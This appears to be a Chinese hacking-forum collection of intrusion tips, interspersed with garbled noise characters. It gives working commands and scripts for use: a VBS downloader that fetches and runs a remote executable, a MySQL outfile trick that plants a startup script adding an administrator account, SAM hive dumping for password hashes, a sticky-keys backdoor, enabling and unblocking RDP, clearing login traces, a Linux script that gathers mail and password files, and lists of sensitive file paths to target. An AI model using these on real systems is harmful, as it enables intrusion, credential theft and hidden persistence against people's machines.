2 g; o9 K7 y5 u* K+ e% v1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
# @. V  I  A! B( J, h4 G9 halzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
$ X* X4 G9 f& T{
注：
3 v1 _" Q4 ^% j, e1 @$ J* q关于tar的打包方式,linux不以扩展名来决定文件类型。
# \3 }/ J# m2 ^5 o2 }" y若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
1 k' x% o6 W; `; g9 J8 b& J2 ]8 w}  

提权先执行systeminfo
8 k/ y% ~, Q: w& `2 t' y! Itoken 漏洞补丁号 KB956572
Churrasco          kb952004
0 }5 l; ^+ B7 v7 _! p命令行RAR打包~~·
& U8 \1 Y, U2 ^rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
6 O9 {* i5 ?5 L5 D9 v, k2、收集系统信息的脚本  
) G- d- g8 W& y6 L3 n0 \for window：

6 H/ {! k2 C+ L9 k@echo off
echo #########system info collection
systeminfo
0 Q3 Q- [: L; X$ B7 D- E1 j" V, G  Wver
hostname
! O+ S3 h. y6 }# ]) I2 s& N3 cnet user
net localgroup
& r* Q9 k4 y: M4 Vnet localgroup administrators
net user guest
0 H* u# [" M" Z2 Gnet user administrator
+ b2 k$ ]$ D4 ?
  A0 |% W0 J& u$ necho #######at- with   atq#####
echo schtask /query
5 C4 A: r) R) L: z
, S; Q0 h% B+ j% u# C! z* @1 techo
; k% D3 w5 y3 ^2 T+ `# Becho ####task-list#############
tasklist /svc
% T9 @. t, v# V2 s' Eecho
- f  `* ~$ O8 a" @% B; jecho ####net-work infomation
ipconfig/all
route print
arp -a
, r9 h/ Z* _; z# {$ B8 {' H0 Z5 Qnetstat -anipconfig /displaydns
echo
8 d. q, Q0 }) Recho #######service############
; j/ c) w6 k1 N3 [" Zsc query type= service state= all
. S7 O  b. X7 Becho #######file-##############
cd \
8 i4 S& q$ r4 @& O. a8 V2 E, h2 qtree -F
3 Y- V9 S% ^8 y- m  T$ p# n7 Q4 C. ffor linux：

#!/bin/bash
# S! E& t5 i2 ^1 y! P
' i, ~3 a- p6 W5 a. @* lecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
' F; q* Z+ w2 s' Iecho #######basic infomation##
- z# Q" Y! l! T* z% q( Z4 tcat /proc/meminfo
echo
cat /proc/cpuinfo
" Y* B& P7 y4 u$ `% k3 M* r: xecho
rpm -qa 2>/dev/null
! i1 Q, ?. J! F: M' O######stole the mail......######
# C- T8 P* r# v+ A  c; U; t% R  hcp -a /var/mail /tmp/getmail 2>/dev/null


, k9 U7 M) L# C' l# N+ X1 v# v5 fecho 'u'r id is' `id`
echo ###atq&crontab#####
6 r9 w7 ~3 _6 n$ X! watq
8 F. v# D6 {8 t: |crontab -l
! }4 u" y, U0 ?* k* Jecho #####about var#####
& z1 |; j& U6 J- T# i# H2 lset

* ]- s* e2 f' H# i) u2 Oecho #####about network###
- v5 @8 W# O3 p. Z####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
" T+ x* A4 _) B5 v& ~hostname
ipconfig -a
arp -v
echo ########user####
- P& |2 Z% J0 J" v5 T/ kcat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
# Y+ ^: X0 l: Wcat /etc/passwd|grep -i $i
3 ~/ e2 T7 K" T# vdone

4 S* @, Z6 h8 L, x+ S3 olocate passwd >/tmp/password 2>/dev/null
, s( b$ W; f+ ~! z9 Csleep 5
locate password >>/tmp/password 2>/dev/null
& ?  n7 E% N/ Fsleep 5
! p3 f$ V4 j( ^9 m* \locate conf >/tmp/sysconfig 2>dev/null
4 x) }9 I) X, m, N& q- Lsleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
* |* P1 T4 q: }
. n3 W( B. U% x4 I1 b###maybe can use "tree /"###
% B+ n; ^6 d3 Q- {/ r2 ^9 Iecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
3 B; O; Y, W7 F/ q# l; x% Drm -rf /tmp/getmail /tmp/password /tmp/sysconfig
* D' W+ W7 V( S——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
# [$ S" j- J( u注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
# T' W5 m- T; U# u接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
* e! }0 {7 N& Y1 v9 vhash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
" S4 w/ G+ G4 l; Y* ~' M4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
" G& z! U. s  g4 f, q9 `echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
/ G, o( R: L  p) eecho sGet.Type = 1 >>c:\windows\cftmon.vbs
+ m0 W" f# X' m, h& Eecho sGet.Open() >>c:\windows\cftmon.vbs
5 V5 L) s8 m; E, j* K; g4 h, k7 Hecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
+ t2 z* q, O& W& [( kecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
- s' x5 k- |7 e1 U, Ocftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
6 J, I! h( w9 X0 o7 {4 _, miLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
2 l! Q, U1 w9 \/ ]+ t  O/ r  u0 l' z( A+ os1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
# K: ?  a5 @" x# l! N5 m' V5 LSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
4 [' x9 ?3 H8 p; a/ _
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
! L, ?+ Q, h  x1 L  [! A# [* J——————————————————
5 a* K' g2 \: ?% J+ C4 D5、
1.查询终端端口
) u7 k, u: p0 n5 lREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
6 [  d' S( Z& I$ O% i  S+ n————————————————
6、create table a (cmd text);
: _, t5 L9 R% C/ ~$ S; C9 sinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
' I$ x4 Y1 W% o. ^2 u+ M7 h7 ^* Ninsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
# L5 n4 {+ E% g0 O8 s. i/ N————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
# J1 y" s! G* \) y/ [_____
, ^5 o. q' t& v% r8 e8、for /d %i in (d:\freehost\*) do @echo %i
3 ^" ?6 c/ B4 |* ?, Z* T7 Q! x
, s2 a# K, t/ s3 R5 l5 S列出d的所有目录
  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
6 f( R! ^- o; x0 z" j9 f3 Z& V% K
( F% K9 f* v& ~; zfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

9 I2 [5 u) G6 R) |3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

1 u1 d0 y! `. F$ }4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  p) p# _" h( p' n9 N# V6 s# v  delims=后的空格是分隔符 tokens是取第几个位置
4 Y. O2 w7 U' Y- y( }$ s$ R——————————
●注册表:
1.Administrator注册表备份:
3 }5 `1 O# B. ]) j8 greg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
6 F( G  ]+ `1 H5 k2 o# V0 {7 b修改PortNumber.

3.清除3389登录记录:
4 O, u( p9 B0 i$ B7 j( x* }reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

% C' f( W5 r( x) p; w5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

5 U) }4 \# Q# T1 n- e' Z2 i2 t6.IPSec默认免除项88端口(需重启):
. |% V* C! A2 Ereg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
: t; {0 G: m# q! e或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
6 i0 m. s* ]/ ^1 ?8 P2 d1 |. tnetsh ipsec static set policy name="myipsec" assign=n

1 s% k. E  |" F3 B$ R- o/ C8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
, z4 x( s& G+ q& I9 Wreg save hklm\security c:\security.hive

2 f( O  m" J9 r2 y10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
  c' n/ I  I( V0 S) Q& Y& h
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
' o, Z' h4 i4 f- K+ Q0 I-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
' {* N/ q6 L% M2 jchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
, D3 B2 F$ L: U/ w) D6 Vset IIs=objservice.GetObject("IIsWebServer",childObjectName)
- r1 Q! ~) X0 cif err.number<>0 then
2 h" \. S1 y5 ?$ Rexit for
msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
7 Y# ~) |; }8 f' m3 x; e3 Oset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
% s0 t  N( u2 S! m* O" r# H  lpass=iisweb.AnonymousUserPass
# j- m& _! r* @+ Tpath=IIsWeb.path
: d+ u, s0 _( H; N+ q$ |. ]list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
% t$ ]1 b4 z2 h7 Q, o# s% U: U$ E8 R, aend if
9 F" R3 ~; F' d+ U7 b9 d3 a, J* yNext
wscript.echo list
$ E" q, e" N: h0 USet ObjService=Nothing
, p3 ~$ ]' l4 Q& gwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
/ O  Y& P1 b: A4 a/ u) l复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
0 _: H5 T0 _" V0 H3 r( Y% M将folder.htt文件，加入以下代码：
2 s, v* ?7 r$ K  a- m<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
/ l3 k) `- Y+ `- x9 Z/ I' Tasp代码，利用的时候会出现登录问题
9 ]' \9 F/ y$ \* T; } 原因是ASP大马里有这样的代码：（没有就没事儿了）
$ r% \8 x* |. i: l7 h8 }+ @ url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
+ {* c/ o- b0 ~- W) t2 Q2 d! [ url=request.severvariables("path_info")
7 |. }$ s! b* U" R, K path_info可以直接呈现虚拟路径 顺利解析gif大马

5 Q; e9 v6 w1 w. w# E: L& b==============================================================
) J9 }6 G* K& d; O* O% U8 XLINUX常见路径：
/ m7 A! N/ F+ |! a" _
/etc/passwd
/etc/shadow
/etc/fstab
* j0 p! {7 @) S2 }' A; W; Q/etc/host.conf
% o1 W  c* [6 G% z/etc/motd
/etc/ld.so.conf
: a+ ~& K# B  K% l/ s/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
& i7 r+ q* ~9 Y# Q7 G/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
% c0 u5 e/ d0 S, m6 K3 a- f/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
8 A1 Z: k5 @3 h2 n/ y) e6 x/opt/www/conf/httpd.conf
) L3 }2 Y) u8 u5 p/opt/www/htdocs/index.php
4 I4 f$ D, N( f/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
, |; |" h$ K: U& V% V& G/usr/local/httpd2.2/htdocs/index.html
# P2 s+ p- T5 c5 v$ n' `! G/tmp/apache/htdocs/index.html
7 g- L2 o2 Z! t3 C. u- O/ N' c/tmp/apache/htdocs/index.php
: d0 d3 }% ]! l6 s9 L  N( t- ?/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
% Q% M- R) E. w& Y3 H9 b; L: D/etc/httpd/htdocs/index.html
  A5 R; X: j5 L3 O# F/www/php/php.ini
8 M9 ?: o* a7 v  b/www/php4/php.ini
: R+ F5 y: s$ a& a/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
5 P6 y  A" l' Z1 F/apache/apache/conf/httpd.conf
8 F% `7 Q5 h# c. Z+ V/ b/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
% K! l. h/ Y# k* I  t: i! i/etc/apache2/apache.conf
/etc/apache/httpd.conf
2 ^; e) Q6 ~4 A% {. c( h$ Z/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
4 V0 ~" V+ o/ u: o* h" l/etc/apache2/sites-available/default
1 Z" b7 m& I% F3 v/ B7 Z/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/ O- A% p, T# Y( z% x/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
! B% c( P& S9 i3 I6 C) {3 y( F6 w" R/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
  F2 m' R& r* I/ `* X2 D/home/apache2/conf/httpd.conf
/var/log/apache/error_log
* H+ ~6 n- N# i6 B% k3 R) X6 n. \/var/log/apache/error.log
& s0 A3 j) Y3 B0 L& `" S6 a/var/log/apache/access_log
6 ^% _. a' O$ j4 g/var/log/apache/access.log
4 S; F; r/ |' m. }! L/ K& ^/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
( l" W+ q3 g9 F2 Y2 ~/var/log/apache2/access.log
/var/www/logs/error_log
6 }1 Z8 J( c. E2 `$ m: ~  ]/var/www/logs/error.log
/var/www/logs/access_log
% ]9 U$ y% X5 q/var/www/logs/access.log
0 `; F6 }- c4 t8 M/ E/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
1 \8 ?$ L$ w' C; h/usr/local/apache/logs/access_log
7 D! @/ o, [( Q  M+ y- S3 a$ r$ z/usr/local/apache/logs/access.log
/var/log/error_log
0 C) O" ?6 T8 G# C5 f7 C/var/log/error.log
9 q. |% |; u6 V- S) U3 E% N/var/log/access_log
$ j" g1 a  M1 S5 i  Z0 O' C( y. R/var/log/access.log
7 k$ n: m0 C( `0 [- V) m/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
* M. F, T2 z- ~/ B& ]  P' W/ `/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
9 ]* X' u* X! k+ [/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
3 `: M" V. U9 Z2 F+ f/usr/local/php/lib/php.ini
9 h* P+ d$ X% d: C1 i+ ~2 c# a/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
' g9 l3 b; U( y) c; w# F/usr/local/php5/lib/php.ini
* E  H/ L2 l% r9 T/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
" H2 t6 m; C0 p1 t! [; ^/usr/local/apache/conf/httpd.conf
" _) G* J7 W# F- ^% z+ Q/usr/local/apache2/conf/httpd.conf
; L2 \) @; I( g. g; P/usr/local/apache2/conf/php.ini
! E0 s; N5 d: P, s2 X5 I  q/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
2 U$ ?( Q) w/ A! ^4 G/ A% ?/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
# M/ R# k8 w7 `' @/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/ o: g! E2 }$ B6 G1 o/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
4 r+ v8 r( R3 l- n4 P3 u* ]6 d/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
! h# R4 L9 f) {" p+ S1 R/etc/php4/cgi/php.ini
4 M3 R2 h# f4 \/ u/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
7 e3 @* V- r7 W  E# x/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
5 G& @2 |& I( M$ ]) }3 I/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
7 C8 ]2 t4 c0 o3 A/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
- e1 s# u2 p+ B% d/var/log/mysql.log
; ?1 V7 M" o; ~8 H/var/log/mysqlderror.log
' l, `0 E' H: [5 w/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
6 J, f/ y9 e* t' G/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
  a/ F1 _5 w9 k+ `( n1 d! }/usr/local/cpanel/logs/access_log
' K! P& H6 h: T0 q# `/ O5 e/usr/local/cpanel/logs/error_log
- {2 D9 N7 f; ?- R# y' j/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
  ?& O$ f! {( k' ?' ~' Z! P4 k/usr/local/share/examples/php/php.ini

1 s- m- \. M% l! w1 [2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
* ~5 w. l1 ^/ g. ~# z+ wC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
2 {+ J/ R! M" W) g; }" XC:\WINDOWS\7i24iislog4.exe
- p6 H0 T1 p& m) E& j6 z& xC:\WINDOWS\7i24tool.exe
! F, \# I% a7 ?3 j
c:\hzhost\databases\url.asp

: [. v* D5 P. f& ?0 A  qc:\hzhost\hzclient.exe
3 H: I- F$ Z2 Y: I6 KC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
) R! L$ z; R, D+ A
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
' e) c  F: x0 T0 H* h( V& c- ?% bC:\WINDOWS\web.config
c:\web\index.html
/ E" i" }) o$ l* x5 ~: |c:\www\index.html
c:\WWWROOT\index.html
3 R7 h/ n/ {9 {, a# ]# V2 J9 W8 a/ ~c:\website\index.html
c:\web\index.asp
c:\www\index.asp
: f. \! I; l# ?9 {# y% y2 X0 R$ Ic:\wwwsite\index.asp
9 U; \: |3 D. Mc:\WWWROOT\index.asp
8 y( @+ b/ J+ @+ ~c:\web\index.php
5 x% @) d8 @9 E5 xc:\www\index.php
8 d+ m2 ~3 ~0 U# fc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
  x2 G- ?8 t' ]* ^8 G/ Z0 xc:\www\default.html
c:\WWWROOT\default.html
, x$ j2 B( T$ ]4 w$ Lc:\website\default.html
* V1 t( y, |  jc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
/ j! {; R( E% I. L. z& N0 ec:\web\default.php
, P$ C+ u0 p1 C6 zc:\www\default.php
7 b4 y5 O- [( Mc:\WWWROOT\default.php
c:\WWWsite\default.php
6 ^. r3 t' L1 G+ `' F% `C:\Inetpub\wwwroot\pagerror.gif
, \% w1 i; W% N( f9 {c:\windows\notepad.exe
c:\winnt\notepad.exe
: n; u$ T) u" C+ O& ~. w+ aC:\Program Files\Microsoft Office\OFFICE10\winword.exe
/ `! p& W1 n- fC:\Program Files\Microsoft Office\OFFICE11\winword.exe
1 w& J/ i4 C5 Y, ^' S2 N3 M2 D- gC:\Program Files\Microsoft Office\OFFICE12\winword.exe
5 a" @* }+ a7 D$ _; wC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
* Z2 v4 A6 X9 ?* zC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
1 e& a9 _, j$ f8 ]* i7 oc:\ravbin\store.ini
c:\rising.ini
- u, s- B' d# ~! R. h- }: fC:\Program Files\Rising\Rav\RsTask.xml
9 K7 G3 m4 L/ L5 T" NC:\Documents and Settings\All Users\Start Menu\desktop.ini
" O+ g0 R5 b* u7 l* K8 f) [C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
- L0 Y: f6 s/ d  j" [C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
6 }; v, Y. u  u! I1 TC:\Documents and Settings\Administrator\My Documents\1.txt
( q$ k& }3 G! P) T! RC:\Documents and Settings\Administrator\桌面\1.txt
7 a9 N* Q/ ?8 [0 g6 M- f' `C:\Documents and Settings\Administrator\My Documents\a.txt
; q6 W# T& q9 N4 mC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
& z% q1 T' B, q" iC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
  J: I( ^5 S5 r0 AC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
/ y  e% D: A+ y3 C& e; NC:\Program Files\Symantec\SYMEVENT.INF
9 I! s& r3 k- _C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
2 I' d! C; u! A6 s6 yC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
9 |! _% h! ~7 B6 H" K) t8 nC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
$ o" n: S( P% x. o/ C- `( T- E: M+ UC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
6 L: T. d& Y- O2 UC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
* X7 \+ ]7 j! u2 i4 UC:\MySQL\MySQL Server 5.0\my.ini
( l) O9 z+ I7 x, m- ^  oC:\Program Files\MySQL\MySQL Server 5.0\my.ini
* J7 Z) _# |0 z, U" }C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
! y9 f2 u7 H4 @1 W! s% RC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
9 x# ]3 _6 ]! V4 q; z. wC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
6 q$ b' @( A+ o; U" Q. k3 y5 d0 OC:\Program Files\Oracle\oraconfig\Lpk.dll
) R0 {" f8 p- R9 D0 V. h' Q" XC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
0 K2 v% z; X( u) p- D8 JC:\WINDOWS\system32\inetsrv\w3wp.exe
% h. w$ ]* ?1 y' u5 c9 ?C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
  R5 F/ k! `% `8 g8 l4 hC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
( v$ r8 h2 h9 S5 h! n& pC:\WINDOWS\system32\config\system
) c, r7 V% E% l& b6 sc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
+ I3 S) @+ T8 @  qc:\program files\tomcat6\bin\version.sh
" u9 u% m! H6 |# O$ |C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
: n. x' }& a! G* K" jc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
3 j* u4 d# K( t) A& ^& j! \5 S4 S/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
' T, m6 }0 u1 u3 [; n) gc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
5 H. \: L. @, Y+ N6 I3 a2 Ac:\Program Files\Tencent\qq2010\bin\qq.exe
$ f  ]& K; E' g2 {5 Z' ~+ cc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
7 O6 b  t$ D) K+ w4 nc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
% g5 n5 j; Y; `. r! g, K; T  ~C:\Program Files\Foxmal\Foxmail.exe
/ ]" L' B, S: LC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
